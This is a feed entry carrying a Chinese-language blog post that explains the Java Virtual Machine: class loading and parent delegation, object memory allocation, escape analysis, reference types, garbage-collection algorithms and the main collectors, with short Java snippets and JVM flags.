<content type="html"><![CDATA[<h1><span id="前言">前言</span></h1><p>网上的资料比较杂,且少有成体系的资料,因此收集资料并按照自己的理解做了一下整合,本文为自我理解与总结,不代表标准答案。</p><h2><span id="从hello-world开始">从hello world开始</span></h2><p>java从编写’System.out.println(“hello world”)’ 开始,并编译运行,在这期间到底发生了什么。</p><h3><span id="java文件从编译到结束全过程类加载过程">.java文件从编译到结束全过程(类加载过程)</span></h3><p>一个.java文件的完整周期是 java编码成jvm可识别的.class文件, 然后大致流程是: 加载–>连接–>初始化–>使用–>卸载</p><h4><span id="1-加载过程">1. 加载过程</span></h4><p> 1、通过全类名获取定义此类的二进制字节流(类似反射)<br> 2、将字节流所代表的静态存储结构转换为JVM方法区的运行时数据结构<br> 3、在内存中生成一个代表该类的 java.lang.Class 对象,作为方法区这些数据的访问入口(这样代码才能通过全类名访问到该对象)<br> PS:数组类型不通过类加载器创建,它由JAVA虚拟机直接创建,数组的加载可通过自定义类加载器控制加载方式</p><h5><span id="11-加载过程中所需要的类加载器">1.1 加载过程中所需要的类加载器</span></h5><p>JVM中有三个类加载器,除了 BootstrapClassLoader 其他类加载器均由 Java 实现且全部继承自java.lang.ClassLoader</p><p>1、BootstrapClassLoader(启动类加载器) :最顶层的加载类,由 C++实现,负责加载 %JAVA_HOME%/lib目录下的 jar 包和类或者被 -Xbootclasspath参数指定的路径中的所有类。<br>2、ExtensionClassLoader(扩展类加载器) :主要负责加载 %JRE_HOME%/lib/ext 目录下的 jar 包和类,或被 java.ext.dirs 系统变量所指定的路径下的 jar 包。<br>3、AppClassLoader(应用程序类加载器) :面向我们用户的加载器,负责加载当前应用 classpath 下的所有 jar 包和类。</p><span id="more"></span><h6><span id="12-类加载器的模型设计双亲委派模型">1.2 类加载器的模型设计(双亲委派模型)</span></h6><p>每一个类都有一个对应它的类加载器,在加载类时系统会先判断该类是否已经被加载过,如加载过则直接返回,否则才尝试加载,加载时会首先调用父类的loadClass()方法,当父类加载器无法处理时,才由自己来处理。</p><p>举例: 自定义加载器(判断该类是否加载过,未加载过,委托上级处理) –> AppClassLoader(应用程序类加载器,同样判断是否加载过,未加载则委托上级处理) —> ExtensionClassLoader –> BootstrapClassLoader</p><p>整个过程就是依次向上传递,(如上级无法处理)再依次向下传递</p><p>好处:<br> 1、双亲委派模型保证了 Java 程序的稳定运行,可以避免类的重复加载(JVM 区分不同类的方式不仅仅根据类名,相同的类文件被不同的类加载器加载产生的是两个不同的类)<br> 2、保证了 Java 的核心 API 不被篡改。如果没有使用双亲委派模型,而是每个类加载器加载自己的话就会出现一些问题,比如我们编写一个称为 java.lang.Object 类的话,那么程序运行的时候,系统就会出现多个不同的 Object 类(即系统无法区分是jdk自带的Object对象还是用户自建的Object对象)。</p><p>自定义类加载器:继承 ClassLoader</p><h4><span id="2-类加载验证过程">2. 类加载验证过程</span></h4><p> 1、文件格式验证,验证是否符合class文件规范,版本号是否支持,常量池中常量是否有不支持的类型<br> 2、元数据验证,对字节码语义进行分析,以保存其符合java语言规范要求,例如:此类是否有父类(java.langObject除外),是否继承了被final 修饰的类等等。<br> 3、字节码验证,比较复杂的一个阶段,会对类的方法体逻辑进行验证,例如类型转换是否有效,字节码指令跳转异常等。<br> 4、符号引用验证,验证符号引用等否找到对应类,类权限是否能被引用等。<br> 总结:验证编译后的代码是否合法,是否能正常运行</p><h4><span id="3-类加载准备">3. 类加载准备</span></h4><p>准备阶段是正式为类变量分配内存并设置类变量初始值的阶段,* 这个时候进行内存分配的仅包括类变量(静态变量) * ,这里初始化变量值是数据类型的零值,不是实际值,如果是final修饰,则直接赋予实际值</p><h4><span id="4-解析阶段">4. 解析阶段</span></h4><p>解析阶段时将java虚拟机中变量池中的符号引用替换为直接引用的过程。简单来说就是把类名限定转换为实际内存中的Class对象引用。<br>JAVA虚拟机为每个类都准备了一张方法表来存储方法的地址,当需要调用某个类时只需要知道这个方法的位置即可,通过解析操作符号引用就可以直接转变为目标方法在类中方法表的位置<br>总结:java通过全类名获得类对象,通过解析操作</p><h4><span id="5-初始化阶段">5. 初始化阶段</span></h4><p>初始化阶段是执行初始化方法 <clinit> ()方法的过程,<clinit> ()方法是编译之后自动生成的。</clinit></clinit></p><p>1、初始化一个类,如果其父类还未初始化,则先触发该父类的初始化。<br>2、只有主动去使用类才会初始化类(也就是NEW对象的时候)<br>3、虚拟机启动时会先初始化Main方法这个类<br>4、……</p><h4><span id="6-内存如何分配">6. 内存如何分配</span></h4><p>当类被加载完毕后如何分配内存?</p><p>虚拟机执行到new对象指令时才开始加载类并分配内存,其流程为:类加载检查 –> 判断是否已加载类(未加载类,则先加载类) –> 已加载类,开始分配内存 –> 执行初始化 –> 设置对象头 –> 执行init方法。 </p><h5><span id="61-类加载检查">6.1. 类加载检查</span></h5><p>当主动使用一个类(new 一个对象)时,首先去检查这个指令的参数是否能在常量池中定位到一个类的符号引用,并且检查这个符号引用代表的类是否已经被加载、解析和初始化过(也就是检查类是否已经被加载过)。如果没有,那必须先执行相应的类加载流程。</p><h5><span id="62-开始分配内存">6.2. 开始分配内存</span></h5><p>如果未被加载过,则在类加载检查通过后,接下来虚拟机将为新生对象分配内存,分配方式有 “指针碰撞” 和 “空闲列表” 两种,选择哪种分配方式由 Java 堆是否规整决定,而 Java 堆是否规整又由所采用的垃圾收集器是否带有压缩整理功能决定。</p><ul><li><p>指针碰撞 :</p><ul><li>适用场合 :堆内存规整(即没有内存碎片)的情况下。</li><li>原理 :用过的内存全部整合到一边,没有用过的内存放在另一边,中间有一个分界指针,只需要向着没用过的内存方向将该指针移动对象内存大小位置即可。</li><li>使用该分配方式的 GC 收集器:Serial, ParNew</li></ul></li><li><p>空闲列表 :</p><ul><li>适用场合 : 堆内存不规整的情况下。</li><li>原理 :虚拟机会维护一个列表,该列表中会记录哪些内存块是可用的,在分配的时候,找一块儿足够大的内存块儿来划分给对象实例,最后更新列表记录。</li><li>使用该分配方式的 GC 收集器:CMS</li></ul></li></ul><p>选择以上两种方式中的哪一种,取决于 Java 堆内存是否规整。而 Java 堆内存是否规整,取决于 GC 收集器的算法是”标记-清除”,还是”标记-整理”(也称作”标记-压缩”),值得注意的是,复制算法内存也是规整的。</p><p>PS:默认对象分配在Eden区,大对象直接分配在老年代</p><p><strong>内存分配并发问题</strong></p><p>虚拟机采用两种方式来保证线程安全:</p><ul><li>CAS+失败重试: CAS 是乐观锁的一种实现方式。所谓乐观锁就是,每次不加锁而是假设没有冲突而去完成某项操作,如果因为冲突失败就重试,直到成功为止。虚拟机采用 CAS 配上失败重试的方式保证更新操作的原子性。</li><li>TLAB: 为每一个线程预先在 Eden 区分配一块内存,JVM 在给线程中的对象分配内存时,首先在 TLAB 分配,当对象大于 TLAB 中的剩余内存或 TLAB 的内存已用尽时,再采用上述的 CAS 进行内存分配</li></ul><p><strong>也就是说每个线程都会在堆的Eden区预先分配一块内存给对象使用,当不够用时再使用乐观锁竞争分配来保证操作的原子性。</strong></p><h5><span id="63-初始化零值">6.3. 初始化零值</span></h5><p>内存分配完成后,虚拟机需要将分配到的内存空间都初始化为零值(不包括对象头),这一步操作保证了对象的实例字段在 Java 代码中可以不赋初始值就直接使用,程序能访问到这些字段的数据类型所对应的零值。</p><h5><span id="64-设置对象头">6.4. 设置对象头</span></h5><p>初始化零值完成之后,虚拟机要对对象进行必要的设置,例如这个对象是哪个类的实例、如何才能找到类的元数据信息、对象的哈希码、对象的 GC 分代年龄等信息。 这些信息存放在对象头中。 另外,根据虚拟机当前运行状态的不同,如是否启用偏向锁等,对象头会有不同的设置方式。</p><h5><span id="65-执行-init-方法">6.5. 执行 init 方法</span></h5><p>在上面工作都完成之后,从虚拟机的视角来看,一个新的对象已经产生了,但从 Java 程序的视角来看,对象创建才刚开始,<init> 方法还没有执行,所有的字段都还为零。所以一般来说,执行 new 指令之后会接着执行 <init> 方法,把对象按照程序员的意愿进行初始化,这样一个真正可用的对象才算完全产生出来。</init></init></p><h5><span id="66-对象的访问定位">6.6. 对象的访问定位</span></h5><p>建立对象就是为了使用对象,我们的 Java 程序通过栈上的 reference 数据来操作堆上的具体对象。对象的访问方式由虚拟机实现而定,目前主流的访问方式有:使用句柄、直接指针。</p><ul><li><p>句柄<br>如果使用句柄的话,那么 Java 堆中将会划分出一块内存来作为句柄池,reference 中存储的就是对象的句柄地址,而句柄中包含了对象实例数据与对象类型数据各自的具体地址信息。</p></li><li><p>直接指针<br>如果使用直接指针访问,reference 中存储的直接就是对象的地址。</p></li></ul><p><strong>简单来说就是当我们要使用一个类时JVM会通过这两种方式获取到对象,使用句柄的好处是中间隔了一层,对象被移动时只会改变句柄中的实例数据指针,而直接指针的优势就是速度快。</strong></p><h5><span id="67-逃逸分析">6.7. 逃逸分析</span></h5><p>一般情况下new出来的对象都是分配在堆上的,但在满足一定的条件,会先分配在栈上。</p><p>我们知道当堆空间不足时会触发FULL GC,而FULL GC会严重影响性能。 </p><p>有些对象其实是临时产生的,只在某个方法中使用,如果可以将这些对象随着栈的弹出而一同被销毁,那么就减轻了垃圾回收的压力。</p><p>为了减少临时对象在堆内分配的数量,JVM通过逃逸分析确定该对象会不会被外部访问。如果不会逃逸可以将该对象在栈上分配内存。随栈帧出栈而销毁,减轻GC的压力。</p><p><strong>什么是逃逸分析</strong></p><p>当创建的对象只在方法中使用,不被其它类所使用时则属于逃逸对象。如下代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Test</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> User <span class="title">test1</span><span class="params">()</span> </span>{</span><br><span class="line"> User user = <span class="keyword">new</span> User();</span><br><span class="line"> user.setId(<span class="number">1</span>);</span><br><span class="line"> user.setName(<span class="string">"AA"</span>);</span><br><span class="line"> <span class="keyword">return</span> user;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">test2</span><span class="params">()</span> </span>{</span><br><span class="line"> User user = <span class="keyword">new</span> User();</span><br><span class="line"> user.setId(<span class="number">2</span>);</span><br><span class="line"> user.setName(<span class="string">"BB"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>test1由于该对象返回了引用地址,有被外部使用,因此不属性逃逸对象,而test里的User并没有被其它任何地方使用,因此属于逃逸对象,可以将基分配在栈中。</p><p><strong>如何开启逃逸分析</strong></p><p>JDK7之后默认开启逃逸分析</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">-XX:+DoEscapeAnalysis 开启逃逸分析</span><br><span class="line">-XX:-DoEscapeAnalysis 关闭逃逸分析 </span><br></pre></td></tr></table></figure><h5><span id="68-标量替换">6.8. 标量替换</span></h5><p>如果一个对象通过逃逸分析能过确定他可以在栈上分配,但是我们知道一个线程栈的空间默认也就1M,栈帧空间就更小了。而对象分配需要一块连续的空间,经过计算如果这个对象可以放在栈帧上,但是栈帧的空间不是连续的,</p><p>对于一个对象来说,这样是不行的,因为对象需要一块连续的空间。那怎么办呢?这时JVM做了一个优化,即便在栈帧中没有一块连续的空间方法下这个对象,他也能够通过其他的方式,让这个对象放到栈帧里面去,这个办法就是标量替换。</p><p>标量替换不是将整个User对象放到栈帧中,而是将User中的成员变量拿出来分别放在每一块空闲空间中。这种不是放一个完整的对象,而是将对象打散成一个个的成员变量放到栈帧上,当然会有一个地方标识这个属性是属于那个对象的,这就是标量替换.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-XX:+EliminateAllocations 开启标量替换</span><br></pre></td></tr></table></figure><p>JDK7之后默认开启。</p><h5><span id="69-标量替换与聚合量">6.9. 标量替换与聚合量</span></h5><p>标量替换与聚合量是逃逸分析中对变量或对象的定义。</p><p>JAVA的基本类型就属于标量,如:int,long等基本类型,对象属于可进一步分解的量,因此属于聚合量</p><h4><span id="7-卸载">7. 卸载</span></h4><p>卸载类需要满足 3 个要求:<br>1、该类的所有的实例对象都已被 GC,也就是说堆不存在该类的实例对象。<br>2、该类没有在其他任何地方被引用<br>3、该类的类加载器的实例已被 GC</p><h5><span id="71-什么情况下对象会被gc垃圾回收">7.1. 什么情况下对象会被GC(垃圾回收)</span></h5><p><em>堆中几乎放着所有的对象实例,对堆垃圾回收前的第一步就是要判断哪些对象已经死亡(即不能再被任何途径使用的对象)。</em></p><p>判断对象死亡的算法有两种:引用计数法和可达性分析算法。</p><ul><li>引用计数法</li></ul><p>给对象中添加一个引用计数器,每当有一个地方引用它,计数器就加 ,当引用失效,计数器就减 1,任何时候计数器为 0 的对象就是不可能再被使用的。</p><ul><li>可达性分析算法</li></ul><p>这个算法的基本思想就是通过一系列的称为 “GC Roots” 的对象作为起点,从这些节点开始向下搜索,节点所走过的路径称为引用链,当一个对象到 GC Roots 没有任何引用链相连的话,则证明此对象是不可用的,需要被回收。</p><p>哪些对象可以作为 GC Roots 呢?</p><p>虚拟机栈(栈帧中的本地变量表)中引用的对象<br>本地方法栈(Native 方法)中引用的对象<br>方法区中类静态属性引用的对象<br>方法区中常量引用的对象<br>所有被同步锁持有的对象<br>对象可以被回收,就代表一定会被回收吗?</p><p>即使在可达性分析法中不可达的对象,也并非是“非死不可”的,这时候它们暂时处于“缓刑阶段”,要真正宣告一个对象死亡,至少要经历两次标记过程;可达性分析法中不可达的对象被第一次标记并且进行一次筛选,筛选的条件是此对象是否有必要执行 finalize 方法。当对象没有覆盖 finalize 方法,或 finalize 方法已经被虚拟机调用过时,虚拟机将这两种情况视为没有必要执行。</p><p>被判定为需要执行的对象将会被放在一个队列中进行第二次标记,除非这个对象与引用链上的任何一个对象建立关联,否则就会被真的回收。</p><p><strong>判断对象死亡的算法总结</strong></p><p>引用计数法通过简单的计数判断,可达性分析算法通过引用链判断对象,不可达对象不一定会被回收,该对象会放在一个队列中进行第二次标记,除非这个对象与引用链上的任何一个对象建立关联,否则就会被真的回收。</p><p><strong>垃圾回收中的引用类型</strong></p><p>无论是通过引用计数法判断对象引用数量,还是通过可达性分析法判断对象的引用链是否可达,判定对象的存活都与“引用”有关。</p><ul><li>强引用(StrongReference)</li></ul><p>代码中直接new 出来的对象就属于强引用,JVM GC不会回收它,当内存空间不足的时候,java虚拟机宁可抛出OOM异常,也不会回收具有强引用的对象来释放内存。</p><ul><li>软引用(SoftReference)</li></ul><p>如果内存空间足够,垃圾回收器就不会回收它,如果内存空间不足了,就会回收这些对象的内存。只要垃圾回收器没有回收它,该对象就可以被程序使用。软引用可用来实现内存敏感的高速缓存。</p><p>定义一个软引用对象:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Object o=<span class="keyword">new</span> Object();</span><br><span class="line">SoftReference<Object> reference=<span class="keyword">new</span> SoftReference<>(o);</span><br><span class="line">System.out.println(o);</span><br><span class="line">System.out.println(reference.get());</span><br></pre></td></tr></table></figure><ul><li>弱引用(WeakReference)</li></ul><p>无论内存是否足够,只要发生GC 弱引用的对象一定被回收.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"> Object o=<span class="keyword">new</span> Object();</span><br><span class="line">WeakReference<Object> reference=<span class="keyword">new</span> WeakReference<>(o);</span><br><span class="line">System.out.println(o);</span><br><span class="line">System.out.println(reference.get());</span><br></pre></td></tr></table></figure><ul><li>虚引用(PhantomReference)</li></ul><p>“虚引用”顾名思义,就是形同虚设,与其他几种引用都不同,虚引用并不会决定对象的生命周期。如果一个对象仅持有虚引用,那么它就和没有任何引用一样,在任何时候都可能被垃圾回收。</p><p>虚引用主要用来跟踪对象被垃圾回收的活动。</p><p>虚引用与软引用和弱引用的一个区别在于: 虚引用必须和引用队列(ReferenceQueue)联合使用。当垃圾回收器准备回收一个对象时,如果发现它还有虚引用,就会在回收对象的内存之前,把这个虚引用加入到与之关联的引用队列中。程序可以通过判断引用队列中是否已经加入了虚引用,来了解被引用的对象是否将要被垃圾回收。程序如果发现某个虚引用已经被加入到引用队列,那么就可以在所引用的对象的内存被回收之前采取必要的行动。</p><p>特别注意,在程序设计中一般很少使用弱引用与虚引用,使用软引用的情况较多,这是因为软引用可以加速 JVM 对垃圾内存的回收速度,可以维护系统的运行安全,防止内存溢出(OutOfMemory)等问题的产生。</p><p><em>虚引用与引用队列</em></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Object o=<span class="keyword">new</span> Object();</span><br><span class="line">ReferenceQueue<Object> queue=<span class="keyword">new</span> ReferenceQueue();</span><br><span class="line">PhantomReference<Object> reference=<span class="keyword">new</span> PhantomReference<>(o,queue);</span><br><span class="line">System.out.println(o);</span><br><span class="line">System.out.println(reference.get());</span><br><span class="line">System.out.println(queue.poll());</span><br><span class="line"></span><br></pre></td></tr></table></figure><h5><span id="72-垃圾收集算法">7.2. 垃圾收集算法</span></h5><p>标记-清除算法<br>该算法分为“标记”和“清除”阶段:首先标记出所有不需要回收的对象,在标记完成后统一回收掉所有没有被标记的对象。它是最基础的收集算法,后续的算法都是对其不足进行改进得到。这种垃圾收集算法会带来两个明显的问题:</p><p>效率问题<br>空间问题(标记清除后会产生大量不连续的碎片)</p><p>标记-复制算法<br>为了解决效率问题,“标记-复制”收集算法出现了。它可以将内存分为大小相同的两块,每次使用其中的一块。当这一块的内存使用完后,就将还存活的对象复制到另一块去,然后再把使用的空间一次清理掉。这样就使每次的内存回收都是对内存区间的一半进行回收。</p><p>复制算法</p><p>标记-整理算法<br>根据老年代的特点提出的一种标记算法,标记过程仍然与“标记-清除”算法一样,但后续步骤不是直接对可回收对象回收,而是让所有存活的对象向一端移动,然后直接清理掉端边界以外的内存。</p><p>标记-整理算法 </p><p>分代收集算法<br>当前虚拟机的垃圾收集都采用分代收集算法,这种算法没有什么新的思想,只是根据对象存活周期的不同将内存分为几块。一般将 java 堆分为新生代和老年代,这样我们就可以根据各个年代的特点选择合适的垃圾收集算法。</p><p>比如在新生代中,每次收集都会有大量对象死去,所以可以选择”标记-复制“算法,只需要付出少量对象的复制成本就可以完成每次垃圾收集。而老年代的对象存活几率是比较高的,而且没有额外的空间对它进行分配担保,所以我们必须选择“标记-清除”或“标记-整理”算法进行垃圾收集。</p><h5><span id="73-空间分配担保机制">7.3. 空间分配担保机制</span></h5><p>在发生Minor GC之前,虚拟机会检查老年代最大可用的连续空间是否大于新生代所有对象的总空间,</p><p>如果大于,则此次Minor GC是安全的</p><p>如果小于,则虚拟机会查看HandlePromotionFailure设置值是否允许担保失败。如果HandlePromotionFailure=true,那么会继续检查老年代最大可用连续空间是否大于历次晋升到老年代的对象的平均大小,如果大于,则尝试进行一次Minor GC,但这次Minor GC依然是有风险的;如果小于或者HandlePromotionFailure=false,则改为进行一次Full GC。</p><p><strong>空间分配担保是为了确保在 Minor GC 之前老年代本身还有容纳新生代所有对象的剩余空间。</strong></p><h5><span id="74-垃圾收集器">7.4. 垃圾收集器</span></h5><p>如果说收集算法是内存回收的方法论,那么垃圾收集器就是内存回收的具体实现。</p><p>JVM有许多垃圾收集器,每种收集器都对应了不同的使用场景,收集器列表如下:</p><ul><li>Serial 收集器</li><li>ParNew 收集器</li><li>Parallel Scavenge 收集器</li><li>Serial Old 收集器</li><li>Parallel Old 收集器</li><li>CMS 收集器</li><li>G1 收集器</li><li>ZGC 收集器</li></ul><p>下面是网上收集的各个垃圾收集器的具体介绍:</p><p>Serial 收集器<br>Serial(串行)收集器是最基本、历史最悠久的垃圾收集器了。大家看名字就知道这个收集器是一个单线程收集器了。它的 “单线程” 的意义不仅仅意味着它只会使用一条垃圾收集线程去完成垃圾收集工作,更重要的是它在进行垃圾收集工作的时候必须暂停其他所有的工作线程( “Stop The World” ),直到它收集结束。</p><p>新生代采用标记-复制算法,老年代采用标记-整理算法。</p><p> Serial 收集器 </p><p>虚拟机的设计者们当然知道 Stop The World 带来的不良用户体验,所以在后续的垃圾收集器设计中停顿时间在不断缩短(仍然还有停顿,寻找最优秀的垃圾收集器的过程仍然在继续)。</p><p>但是 Serial 收集器有没有优于其他垃圾收集器的地方呢?当然有,它简单而高效(与其他收集器的单线程相比)。Serial 收集器由于没有线程交互的开销,自然可以获得很高的单线程收集效率。Serial 收集器对于运行在 Client 模式下的虚拟机来说是个不错的选择。</p><p>ParNew 收集器<br>ParNew 收集器其实就是 Serial 收集器的多线程版本,除了使用多线程进行垃圾收集外,其余行为(控制参数、收集算法、回收策略等等)和 Serial 收集器完全一样。</p><p>新生代采用标记-复制算法,老年代采用标记-整理算法。</p><p>ParNew 收集器 </p><p>它是许多运行在 Server 模式下的虚拟机的首要选择,除了 Serial 收集器外,只有它能与 CMS 收集器(真正意义上的并发收集器,后面会介绍到)配合工作。</p><p>并行和并发概念补充:</p><p>并行(Parallel) :指多条垃圾收集线程并行工作,但此时用户线程仍然处于等待状态。</p><p>并发(Concurrent):指用户线程与垃圾收集线程同时执行(但不一定是并行,可能会交替执行),用户程序在继续运行,而垃圾收集器运行在另一个 CPU 上。</p><p>Parallel Scavenge 收集器<br>Parallel Scavenge 收集器也是使用标记-复制算法的多线程收集器,它看上去几乎和 ParNew 都一样。 那么它有什么特别之处呢?</p><p>-XX:+UseParallelGC</p><pre><code>使用 Parallel 收集器+ 老年代串行</code></pre><p>-XX:+UseParallelOldGC</p><pre><code>使用 Parallel 收集器+ 老年代并行</code></pre><p>Parallel Scavenge 收集器关注点是吞吐量(高效率的利用 CPU)。CMS 等垃圾收集器的关注点更多的是用户线程的停顿时间(提高用户体验)。所谓吞吐量就是 CPU 中用于运行用户代码的时间与 CPU 总消耗时间的比值。 Parallel Scavenge 收集器提供了很多参数供用户找到最合适的停顿时间或最大吞吐量,如果对于收集器运作不太了解,手工优化存在困难的时候,使用 Parallel Scavenge 收集器配合自适应调节策略,把内存管理优化交给虚拟机去完成也是一个不错的选择。</p><p>新生代采用标记-复制算法,老年代采用标记-整理算法。</p><p>Parallel Scavenge 收集器 </p><p>这是 JDK1.8 默认收集器</p><p>使用 java -XX:+PrintCommandLineFlags -version 命令查看</p><p>-XX:InitialHeapSize=262921408 -XX:MaxHeapSize=4206742528 -XX:+PrintCommandLineFlags -XX:+UseCompressedClassPointers -XX:+UseCompressedOops -XX:+UseParallelGC<br>java version “1.8.0_211”<br>Java(TM) SE Runtime Environment (build 1.8.0_211-b12)<br>Java HotSpot(TM) 64-Bit Server VM (build 25.211-b12, mixed mode)<br>JDK1.8 默认使用的是 Parallel Scavenge + Parallel Old,如果指定了-XX:+UseParallelGC 参数,则默认指定了-XX:+UseParallelOldGC,可以使用-XX:-UseParallelOldGC 来禁用该功能</p><p>Serial Old 收集器<br>Serial 收集器的老年代版本,它同样是一个单线程收集器。它主要有两大用途:一种用途是在 JDK1.5 以及以前的版本中与 Parallel Scavenge 收集器搭配使用,另一种用途是作为 CMS 收集器的后备方案。</p><p>Parallel Old 收集器<br>Parallel Scavenge 收集器的老年代版本。使用多线程和“标记-整理”算法。在注重吞吐量以及 CPU 资源的场合,都可以优先考虑 Parallel Scavenge 收集器和 Parallel Old 收集器。</p><p>CMS 收集器<br>CMS(Concurrent Mark Sweep)收集器是一种以获取最短回收停顿时间为目标的收集器。它非常符合在注重用户体验的应用上使用。</p><p>CMS(Concurrent Mark Sweep)收集器是 HotSpot 虚拟机第一款真正意义上的并发收集器,它第一次实现了让垃圾收集线程与用户线程(基本上)同时工作。</p><p>从名字中的Mark Sweep这两个词可以看出,CMS 收集器是一种 “标记-清除”算法实现的,它的运作过程相比于前面几种垃圾收集器来说更加复杂一些。整个过程分为四个步骤:</p><p>初始标记: 暂停所有的其他线程,并记录下直接与 root 相连的对象,速度很快 ;<br>并发标记: 同时开启 GC 和用户线程,用一个闭包结构去记录可达对象。但在这个阶段结束,这个闭包结构并不能保证包含当前所有的可达对象。因为用户线程可能会不断的更新引用域,所以 GC 线程无法保证可达性分析的实时性。所以这个算法里会跟踪记录这些发生引用更新的地方。<br>重新标记: 重新标记阶段就是为了修正并发标记期间因为用户程序继续运行而导致标记产生变动的那一部分对象的标记记录,这个阶段的停顿时间一般会比初始标记阶段的时间稍长,远远比并发标记阶段时间短<br>并发清除: 开启用户线程,同时 GC 线程开始对未标记的区域做清扫。<br>CMS 垃圾收集器 </p><p>从它的名字就可以看出它是一款优秀的垃圾收集器,主要优点:并发收集、低停顿。但是它有下面三个明显的缺点:</p><p>对 CPU 资源敏感;<br>无法处理浮动垃圾;<br>它使用的回收算法-“标记-清除”算法会导致收集结束时会有大量空间碎片产生。<br>G1 收集器<br>G1 (Garbage-First) 是一款面向服务器的垃圾收集器,主要针对配备多颗处理器及大容量内存的机器. 以极高概率满足 GC 停顿时间要求的同时,还具备高吞吐量性能特征.</p><p>被视为 JDK1.7 中 HotSpot 虚拟机的一个重要进化特征。它具备以下特点:</p><p>并行与并发:G1 能充分利用 CPU、多核环境下的硬件优势,使用多个 CPU(CPU 或者 CPU 核心)来缩短 Stop-The-World 停顿时间。部分其他收集器原本需要停顿 Java 线程执行的 GC 动作,G1 收集器仍然可以通过并发的方式让 java 程序继续执行。<br>分代收集:虽然 G1 可以不需要其他收集器配合就能独立管理整个 GC 堆,但是还是保留了分代的概念。<br>空间整合:与 CMS 的“标记-清理”算法不同,G1 从整体来看是基于“标记-整理”算法实现的收集器;从局部上来看是基于“标记-复制”算法实现的。<br>可预测的停顿:这是 G1 相对于 CMS 的另一个大优势,降低停顿时间是 G1 和 CMS 共同的关注点,但 G1 除了追求低停顿外,还能建立可预测的停顿时间模型,能让使用者明确指定在一个长度为 M 毫秒的时间片段内。<br>G1 收集器的运作大致分为以下几个步骤:</p><p>初始标记<br>并发标记<br>最终标记<br>筛选回收<br>G1 收集器在后台维护了一个优先列表,每次根据允许的收集时间,优先选择回收价值最大的 Region(这也就是它的名字 Garbage-First 的由来) 。这种使用 Region 划分内存空间以及有优先级的区域回收方式,保证了 G1 收集器在有限时间内可以尽可能高的收集效率(把内存化整为零)。</p><p>ZGC 收集器<br>与 CMS 中的 ParNew 和 G1 类似,ZGC 也采用标记-复制算法,不过 ZGC 对该算法做了重大改进。</p><p>在 ZGC 中出现 Stop The World 的情况会更少!</p><h1><span id="总结">总结</span></h1><p>总过程如下:<br>程序员编写JAVA代码,保存为.java文件 –> JDK再将java文件编译成.class文件 –> 虚拟机加载.class文件 –> JVM执行类加载器(参考上面的类加载过程,new一个对象时触发) –> 类加载完后会开始分配内存(Main方法类会在虚拟机启动时就初始化) –> </p><p>对象内存分配完后执行init方法(执行构造方法) –> 但对象未被引用时可能会被回收(取决于回收算法) –> 卸载(前提是满足条件)。</p>]]></content>
<summary type="html"><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>网上的资料比较杂,且少有成体系的资料,因此收集资料并按照自己的理解做了一下整合,本文为自我理解与总结,不代表标准答案。</p>
<h2 id="从hello-world开始"><a href="#从hello-world开始" class="headerlink" title="从hello world开始"></a>从hello world开始</h2><p>java从编写’System.out.println(“hello world”)’ 开始,并编译运行,在这期间到底发生了什么。</p>
<h3 id="java文件从编译到结束全过程(类加载过程)"><a href="#java文件从编译到结束全过程(类加载过程)" class="headerlink" title=".java文件从编译到结束全过程(类加载过程)"></a>.java文件从编译到结束全过程(类加载过程)</h3><p>一个.java文件的完整周期是 java编码成jvm可识别的.class文件, 然后大致流程是: 加载–&gt;连接–&gt;初始化–&gt;使用–&gt;卸载</p>
<h4 id="1-加载过程"><a href="#1-加载过程" class="headerlink" title="1. 加载过程"></a>1. 加载过程</h4><p> 1、通过全类名获取定义此类的二进制字节流(类似反射)<br> 2、将字节流所代表的静态存储结构转换为JVM方法区的运行时数据结构<br> 3、在内存中生成一个代表该类的 java.lang.Class 对象,作为方法区这些数据的访问入口(这样代码才能通过全类名访问到该对象)<br> PS:数组类型不通过类加载器创建,它由JAVA虚拟机直接创建,数组的加载可通过自定义类加载器控制加载方式</p>
<h5 id="1-1-加载过程中所需要的类加载器"><a href="#1-1-加载过程中所需要的类加载器" class="headerlink" title="1.1 加载过程中所需要的类加载器"></a>1.1 加载过程中所需要的类加载器</h5><p>JVM中有三个类加载器,除了 BootstrapClassLoader 其他类加载器均由 Java 实现且全部继承自java.lang.ClassLoader</p>
<p>1、BootstrapClassLoader(启动类加载器) :最顶层的加载类,由 C++实现,负责加载 %JAVA_HOME%/lib目录下的 jar 包和类或者被 -Xbootclasspath参数指定的路径中的所有类。<br>2、ExtensionClassLoader(扩展类加载器) :主要负责加载 %JRE_HOME%/lib/ext 目录下的 jar 包和类,或被 java.ext.dirs 系统变量所指定的路径下的 jar 包。<br>3、AppClassLoader(应用程序类加载器) :面向我们用户的加载器,负责加载当前应用 classpath 下的所有 jar 包和类。</p></summary>
<category term="JAVA" scheme="https://reiner.host/categories/JAVA/"/>
<category term="JVM" scheme="https://reiner.host/tags/JVM/"/>
</entry>
<entry>
